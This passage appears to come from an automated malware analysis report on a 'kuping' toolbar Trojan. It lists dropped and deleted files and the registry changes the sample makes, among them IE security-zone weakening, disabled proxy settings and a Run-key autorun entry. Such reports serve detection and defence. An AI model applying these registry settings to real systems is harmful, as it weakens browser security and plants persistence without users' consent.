C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\doc_plus_icon&16.png (264 bytes)
C:\kuping4\unrar.dll (824 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\down.png (161 bytes)
C:\kuping4\Update\SkinResource\ProgressBar.png (984 bytes)
C:\kuping4\QuickenFunctionConfig\deskIco\DeskIconConfig.xml (8 bytes)
C:\kuping4\KPMsgBoxDll.dll (2694 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\feedback_icon.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Silence-set_button.png (1 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\finish2.png (588 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÃÂÂ\ui\mini\small.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\focus-2.png (200 bytes)
C:\kuping4\TempDownLoad\Home\11274.jpg (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\delete-button.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\CenterDlgConfig\WebPage.ini (594 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\list-bg.png (96 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\mouse.png (549 bytes)
C:\kuping4\skinConfig\skinconfig.ini (84 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Download-set.png (966 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Multi.png (998 bytes)
C:\kuping4\login.dll (2185 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\right_bg.png (194 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Application-Settings.png (953 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-share\bg.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\line_h.png (92 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\WebContrl_Layer.ini (775 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ImageLookDlgConfig\MainSkin.ini (129 bytes)
C:\kuping4\TongJICNZZ.dll (1333 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\application.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\scroll_down.png (982 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\black.png (316 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\start.png (941 bytes)
C:\kuping4\dgmon.dll (471 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\Input-box.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\ĬÈÃÂÂ\ui\msgbox\close.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\view-bg.png (509 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\ImageLook\fail.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\lijiuninstall.png (784 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Screening-bg2.png (102 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\Alert.png (1 bytes)
C:\kuping4\Appsoftconfig\image\Iebuttonlogo.png (196 bytes)
C:\kuping4\TempDownLoad\Home\home.xml (1764 bytes)
C:\kuping4\livability.dll (510 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\ĬÈÃÂÂ\ui\msgbox\btn_known.png (3 bytes)
C:\kuping4\Update\SkinResource\Fnish.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\fail.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_40.tmp (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\WebContro.ini (617 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\ĬÈÃÂÂ\ui\msgbox\cancel.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\show.png (413 bytes)
C:\kuping4\Kp_BootClr.exe (1137 bytes)
C:\kuping4\Repairer.exe (549 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\re.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\UpdateNormal.ini (641 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\backpage.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\white.png (283 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\set_1.png (522 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\kupingbg-03_03.png (980 bytes)
C:\kuping4\Appsoftconfig\image\cmd.png (196 bytes)
C:\kuping4\Update\SkinResource\Point.png (1 bytes)
C:\kuping4\BootStart.dll (157 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\cancel.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\add-app-bg_03.png (412 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÃÂÂ\ui\mini\logo.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\about\delete.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\notice\Alert.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\App-manager.png (654 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\display_shadow.png (115 bytes)
C:\kuping4\Universal\UniversalCpaSkin.rar (1098 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\app-button.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\content.png (416 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\delete.png (486 bytes)
C:\kuping4\MSGBoxSkin\UI\infomation.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\mennu-bg2.png (1 bytes)
C:\kuping4\Appsoftconfig\button.xml (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\cut_button-hand.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\headbg.png (556 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\DownloadWebImageDlg\MainSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\My-resources.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\about.png (606 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\dan_xuan.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\bg_vein.png (268 bytes)
C:\kuping4\Appsoftconfig\image\coculation.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\LocTween_Layer.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\login-btn.png (2 bytes)
C:\kuping4\Update\SkinResource\Cancel.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateNoticeDlg.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\scroll_thumb.png (842 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SeverTween_Layer.ini (1 bytes)
C:\kuping4\Update\SkinResource\BKStep2.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\screen.png (314 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\tip.png (591 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\set.png (549 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\notchoose.png (879 bytes)
C:\kuping4\version.ini (44 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\red.png (318 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\scroll_up.png (927 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\head60.png (392 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\up.png (160 bytes)
C:\kuping4\SystemConfig\LocWallpaleXml.xml (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Software-update.png (998 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\ImageLook\loading.png (3 bytes)
C:\kuping4\Update\UpData.dll (2342 bytes)
C:\kuping4\Update\SkinResource\Update.png (196 bytes)
C:\kuping4\QuickenFunctionConfig\Setup\CpaConfig.xml (8 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\local.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\scroll_block.png (763 bytes)
C:\kuping4\IndividualCenter.dll (5389 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\list-bg2.png (2 bytes)
C:\kuping4\SkinCenter.dll (3635 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\myDownLoad.png (392 bytes)
C:\kuping4\Kpclick.ini (107 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ResourceNavigation_Layer.ini (974 bytes)
C:\kuping4\MSGBoxSkin\UI\yes_button.png (1 bytes)
C:\kuping4\Appsoftconfig\softtempfile\soft.xml (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IconListEx\iconlist_bg.png (314 bytes)
C:\kuping4\Appsoftconfig\image\buttonsou.png (196 bytes)
C:\kuping4\skinConfig\SkinSetting.xml (1 bytes)
C:\kuping4\MSGBoxSkin\UI\question.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\bkimg.png (429 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Directory-box_bg.png (397 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\bg-4.png (287 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\submit.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\check-box.png (540 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\flowerpot.png (3 bytes)
C:\kuping4\Update\info.ini (18 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\doc_empty_icon&16.png (293 bytes)
C:\kuping4\Update\UDStatictical.dll (1882 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\choose.png (883 bytes)
C:\kuping4\TempDownLoad\TagInfo\list_xp.xml (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\finish-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SettingMenuDlgConfig\ConventionalMenu_Layer.ini (1 bytes)
C:\kuping4\KPConfig.inf (3 bytes)
C:\kuping4\Uninstall\installedSoftInfo.ini (984 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\kupingbg-02.png (588 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\share.png (472 bytes)
C:\kuping4\TempDownLoad\Home\11277.jpg (196 bytes)
C:\kuping4\SystemConfig\LocThemeXml.xml (416 bytes)
C:\kuping4\ThemeInstall.dll (863 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Screening-bg.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\caption-bg.png (417 bytes)
C:\kuping4\MSGBoxSkin\UI\bg_top.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\cheakskin\MainSkin.ini (1 bytes)
C:\kuping4\MSGBoxSkin\UI\cancel-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\refresh.png (726 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\suspend.png (504 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\tempfile.tmp (184 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\apple.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\DesktopWallpaperNavigation_Layer.ini (196 bytes)
C:\kuping4\Update\SkinResource\PopupBox.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\tag.png (195 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\kankan.png (1725 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\NoLogin_Layer.ini (941 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\use.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\bg_01.png (392 bytes)
C:\kuping4\TempDownLoad\SearchBuff.ini (23 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\tag-bg.png (350 bytes)
C:\kuping4\MSGBoxSkin\UI\no_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\purple.png (325 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\progress_frame.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\failure.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SettingMenuDlgConfig\DownLoadMenu_Layer.ini (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\min.png (338 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\xiezai.png (375 bytes)
C:\kuping4\TempDownLoad\Home\11278.jpg (588 bytes)
C:\kuping4\Update\SkinResource\Ok.png (196 bytes)
C:\kuping4\Update\SkinResource\FnishSmall.png (2 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\mennu_narrow.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\icon_focus.png (317 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\skin.png (629 bytes)
C:\kuping4\Update\Skin.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\jindutiao1.png (99 bytes)
C:\kuping4\ExpandPackCheck.exe (1725 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\add-app-bg.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\icon.png (1764 bytes)
C:\kuping4\MSGBoxSkin\UI\ok_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\focus3.png (357 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\AboutDlgConfig\MainDlg.ini (1 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\op_40.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\installedSoftInfo.ini (0 bytes)
C:\op_40.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F.tmp (0 bytes)
The process %original file name%.exe:1284 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Program Files%\kuping_b_53390.exe (37274 bytes)
The process KPToolBar.exe:1752 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\KPToolBar\skinConfig\AppUrl.ini (252 bytes)
%System%\config\SYSTEM.LOG (14385 bytes)
%System%\config\SOFTWARE.LOG (13075 bytes)
%System%\config\software (9257 bytes)
C:\KPToolBar\TempDownLoad\desktoptool\icon_xml.xml__0 (410 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (6928 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (6284 bytes)
C:\KPToolBar\skinConfig\DesktopToolBarLocation.ini (36 bytes)
C:\KPToolBar\softset.ini (224 bytes)
C:\KPToolBar\Update\soft.ini (1704 bytes)
%System%\config (200 bytes)
%System%\config\system (8011 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_42.tmp (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_43.tmp (126 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\op_45.tmp (0 bytes)
C:\op_42.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_44.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_42.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_43.tmp (0 bytes)
C:\KPToolBar\TempDownLoad\desktoptool\icon_xml.xml__0 (0 bytes)
Registry activity
The process kpTopBar_b_8.exe:132 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCR\.kplgui]
"(Default)" = "kplguifile"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCR\kpscrfile\Shell\Open\Command]
"(Default)" = "c:\KPToolBar\KpInstallTheme.exe %1"
[HKCR\kpiconfile\Shell]
"(Default)" = "Open"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KPToolBar]
"URLInfoAbout" = "http://www.wallba.com/"
[HKCR\kpcurfile\Shell]
"(Default)" = "Open"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKCR\kprarfile\Shell]
"(Default)" = "Open"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 18 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KPToolBar]
"DisplayName" = "¿áÆÃ¹¤¾ßÌõ"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCR\kpiconfile\DefaultIcon]
"(Default)" = "c:\KPToolBar\KPToolBar.exe,4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCR\kpscrfile\DefaultIcon]
"(Default)" = "c:\KPToolBar\KPToolBar.exe,6"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCR\.kpscr]
"(Default)" = "kpscrfile"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKCR\.kptheme]
"(Default)" = "kpthemefile"
[HKCR\kpcurfile\Shell\Open\Command]
"(Default)" = "c:\KPToolBar\KpInstallTheme.exe %1"
[HKCR\.kprar]
"(Default)" = "kprarfile"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KPToolBar]
"DisplayIcon" = "c:\KPToolBar\KPToolBar.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCR\kpscrfile\Shell]
"(Default)" = "Open"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KPToolBar]
"UninstallString" = "c:\KPToolBar\uninstall.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
[HKCR\kplguifile\DefaultIcon]
"(Default)" = "c:\KPToolBar\KPToolBar.exe,5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKCR\.kpicon]
"(Default)" = "kpiconfile"
[HKCR\kprarfile]
"(Default)" = "Ö÷ÌâÃâ€â€ÃƒÆ’ŠÃâ€Â´Îļþ"
[HKCR\kpthemefile\Shell]
"(Default)" = "Open"
[HKCR\kpiconfile\Shell\Open\Command]
"(Default)" = "c:\KPToolBar\KpInstallTheme.exe %1"
[HKCR\kpthemefile\DefaultIcon]
"(Default)" = "c:\KPToolBar\KPToolBar.exe,1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KPToolBar]
"DisplayVersion" = "1.0.1.8"
[HKCR\kpcurfile\DefaultIcon]
"(Default)" = "c:\KPToolBar\KPToolBar.exe,3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCR\kpcurfile]
"(Default)" = "Êó±êÖ¸ÕëÃâ€â€ÃƒÆ’ŠÃâ€Â´Îļþ"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCR\kpscrfile]
"(Default)" = "ÆÃ±£Ãâ€â€ÃƒÆ’ŠÃâ€Â´Îļþ"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KPToolBar]
"Publisher" = "»°Óï¿Æ¼¼"
[HKCR\kprarfile\DefaultIcon]
"(Default)" = "c:\KPToolBar\KPToolBar.exe,2"
[HKCR\kplguifile\Shell\Open\Command]
"(Default)" = "c:\KPToolBar\KpInstallTheme.exe %1"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."
[HKCR\kpthemefile\Shell\Open\Command]
"(Default)" = "c:\KPToolBar\KpInstallTheme.exe %1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "32 2C 1D FF 7B CF 78 BE 92 36 6B 5C 95 9D 5C 6F"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"LangID" = "09 04"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCR\.kpcur]
"(Default)" = "kpcurfile"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCR\kplguifile\Shell]
"(Default)" = "Open"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCR\kprarfile\Shell\Open\Command]
"(Default)" = "c:\KPToolBar\KpInstallTheme.exe %1"
[HKCR\kpiconfile]
"(Default)" = "ü±êÃâ€â€ÃƒÆ’ŠÃâ€Â´Îļþ"
[HKCR\kpthemefile]
"(Default)" = "Ö÷ÌâÃâ€â€ÃƒÆ’ŠÃâ€Â´Îļþ"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCR\kplguifile]
"(Default)" = "µÇ¼½çÃæÃâ€â€ÃƒÆ’ŠÃâ€Â´Îļþ"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KPToolBar" = "c:\KPToolBar\Kp_BootClr.exe"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"wshext.dll,-4802"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\c:]
"%original file name%.exe"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"wshext.dll,-4803"
"cryptext.dll,-6112"
"cryptext.dll,-6113"
"cryptext.dll,-6110"
"cdfview.dll,-4610"
"accwiz.exe,-16"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%WinDir%\inf]
"unregmp2.exe,-9918"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"wshext.dll,-4801"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%WinDir%\inf]
"unregmp2.exe,-9927"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"SHELL32.dll,-9216"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%WinDir%\inf]
"unregmp2.exe,-9912"
"unregmp2.exe,-9913"
"unregmp2.exe,-9910"
"unregmp2.exe,-9911"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%WinDir%\PCHealth\HelpCtr\Binaries]
"msinfo.dll,-391"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%Program Files%\Movie Maker]
"wmm2res.dll,-63097"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%WinDir%\inf]
"unregmp2.exe,-9915"
"unregmp2.exe,-9916"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"RCBdyctl.dll,-150"
"msi.dll,-34"
"msi.dll,-35"
"cryptext.dll,-6111"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%Program Files%\NetMeeting]
"conf.exe,-12346"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"notepad.exe,-469"
"shscrap.dll,-258"
"wshext.dll,-4805"
"msxml3r.dll,-1"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@""%Program Files%\Windows NT\Accessories]
"WORDPAD.EXE"",-190"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"scrobj.dll,-8192"
"msxml3r.dll,-2"
"shimgvw.dll,-301"
"PresentationHost.exe,-3306"
"shimgvw.dll,-303"
"shimgvw.dll,-302"
